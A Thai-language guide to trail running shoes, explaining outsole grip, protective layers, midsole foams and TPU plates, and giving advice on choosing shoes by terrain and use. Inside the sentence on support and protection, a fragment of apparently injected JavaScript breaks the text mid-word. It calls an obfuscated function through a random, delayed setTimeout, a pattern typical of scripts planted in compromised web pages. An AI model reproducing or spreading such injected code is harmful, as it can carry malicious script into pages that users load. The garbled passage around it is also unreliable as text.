รองเท้า Trail มีข้อแตกต่างจากรองเท้าวิ่งทางเรียบธรรมดา 2 จุดใหญ่ๆ คือ
- Grip ดอกยางที่พื้นรองเท้า หรือส่วน Outsole ที่สัมผัสกับพื้นผิวทางวิ่งจะถูกออกแบบให้มีดอกยางขนาดหนาใหญ่ คล้ายๆ รองเท้าบูธ เพื่อเพิ่มพื้นที่ยึดเกาะให้การลงเท้ามีความมั่นคง
- Foot protection เป็นระบบกันกระสุน มีการใช้วัสดุและหรือเพิ่มวัสดุเนื้อผ้าเข้าไปอีกเลเยอร์หนึ่ง ให้เหนียวและแข็งขึ้น ทำให้เวลาวิ่งเราจะรู้สึกว่าแข็งกระด้าง (stiff) ไม่เหมือนรองเท้าวิ่งทั่วไป ในรองเท้าบางรุ่นจะมีการเพิ่มการ์ดที่หน้าเท้า (ส่วน toecap) สาเหตุที่ต้องทำให้หนาเหนียวและแข็งขึ้นเพราะต้องการป้องกันการทิ่มแทงจากใต้ฝ่าเท้าและรอบข้าง จากเศษไม้เศษหิน
มองให้ลึกถึงโครงสร้าง
ถ้ามองถึงส่วนประกอบของรองเท้ากันเลย ส่วน Midsole ของรองเท้า Trail จะแตกต่างจากรองเท้าวิ่งทางเรียบทั่วไป จะมีการใส่โฟม EVA (ethylene vinyl acetate) เป็นหลักและดีไซด์ให้มีช่องว่างในตำแหน่งต่างๆ เช่น ส้น ฝ่าเท้าหน้า เพื่อใส่โฟม EVA แบบอืนที่มีคุณสมบัติต่างกันไป อาจจะมีความหนา แน่นกว่าหรือนุ่มกว่า EVA ธรรมดา ซึ่งขึ้นอยู่กับเทคโนโลยีของผู้ผลิตที่จะดีไซด์ให้รองเท้ามีคุณสมบัติอย่างไร บางรุ่นจะใช้ polyurethane ที่มีลักษณะแน่น เหนียวกว่า ทนกว่า และหนักว่า EVA นิดหน่อย เพื่อให้การลงเท้าเสถียรมากขึ้น
เพื่อป้องกันการทิ่มแทง จะมีการใช้พวก Thermoplastic polyurethane (TPU) เป็นแผ่นบางๆ หรือที่เรียกว่า Plates ระหว่างส่วน outsole และ midsole
ในการเพิ่มซับพอร์ต อาจจะมีการใส่ สิ่งที่เรียกว่า Shanks หรือแผ่น TPU ประเภทน้ำหนักเบา รูปแบบก็ต่างกันไปตามผู้ผลิต ทำให้รองเท้ายืดหยุ่นได้น้อยลง (stiffness) แต่จะเพิ่มความเสถียร ช่วยระหว่างการเดินวิ่งในเขต เนินเขา ทางหินลูกรัง
เลือก Trail อย่างไรดี
- เราวิ่ง Trail บ่อยมั้ย
ถ้าวิ่งบ้างเป็นครั้งคราว ต้องการหาประสบการณ์ใหม่ๆ ในการวิ่งนอกเหนือจากการวิ่งบนถนนในเมือง แนะนำให้เลือกแบบเนื้อผ้าหนาหน่อย เพราะจะสามารถต้องการทิ่มแทงเศษหินเศษไม้รอบๆ ได้ ส่วนรองเท้าแบบ stiff (ยืดหยุ่นน้อย) และดอกยางหนาให้เป็นตัวเลือกที่สองละกัน
ถ้าชอบวิ่งเร็วและชอบแข่ง เน้นเลือกแบบเบา แต่ต้องแลกกันการป้องกันและระบบซับพอร์ตที่น้อยกว่าแบบธรรมดา
- ไปวิ่งที่ไหน
ถ้าต้องวิ่งในพื้นที่ที่มีความสูงชั่น มีเนิน ดินลูกรัง ทางวิบากมากๆ ให้เน้นแบบซับพอร์ตและระบบที่มีการป้องกันสูง (Support andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Protection)
ถ้าวิ่งทางเปียกหน้าผน มีโคลน เลือกดอกยางแบบหน้ากว้าง จะทำให้สลัดโคลนได้เร็วขึ้น
- จะเลือกรองเท้าแบบ Minimalist ได้มั้ย
สามารถเลือกได้ครับ แต่ต้องมีการฝึกฝนและประสบการณ์พอสมควร เพราะรองเท้าวิ่งแบบ Minimalist-trail จะไม่มีระบบซับพอร์ต ระบบป้องกันการทิ่มแทง และไม่ทนเท่ารองเท้าวิ่ง Trail ทั่วไป แต่จะได้เรื่องน้ำหนักที่เบามากๆ
- อยากได้แบบ Waterproof หรือแบบ ระบายอากาศ (Breathable)
ต้องดูที่ ภูมิประเทศที่เราวิ่ง ในที่หนาวเย็นหรือพื้นที่เปียกๆ หรือวิ่งในที่ร้อนแห้ง เป็นตัวเลือกที่ดีครับ ช่วยป้องกันเท้าเปียกชื้นและแห้งเร็วขึ้น
ข้อควรรู้
- เอารองเท้าวิ่งทางเรียบธรรมดามาวิ่ง Trail ได้มั้ย
ไม่แนะนำครับ เหมือนกับเอาเสือหมอบมาวิ่งทางวิบากครับ รองเท้าวิ่งทางเรียบจะมีระบบป้องกันและซับพอร์ตน้อยกว่า ระบบระบายอากาศที่ทำงานดีในเมืองเมื่อมาเจอทางวิบากเข้าจะทำพวกฝุ่นหรือเศษดินดินไม้เข้าไปติดอยู่ได้
- ใส่รองเท้า trail ไปแบบ Backpacking ได้มั้ย
ได้ครับ ค่อนข้างพบบ่อยในกลุ่มเดิน Hiking โดยเฉพาะเดินระยะทางไกล “Thru-hiker” แต่ก็มีข้อจำกัดนะครับ
เราต้องรู้ว่าน้ำหนักและเข่าของเรารับได้มากแค่ไหน กระเป๋าหนักเท่าไรถ้าเบากว่า 13.6 kg จะดีมาก เส้นทางที่เดินเป็นอย่างไร ถ้าทางวิบากขรุขระมาก เดินลุยป่าไปเลยอย่างนี้ไม่แนะนำ และสุดท้ายความคงทนของรองเท้ากับระยะทางเหมาะสมกันมั้ย
Credit:www.rei.comwww.runnersworld.comwww.outdoorgearlab.com
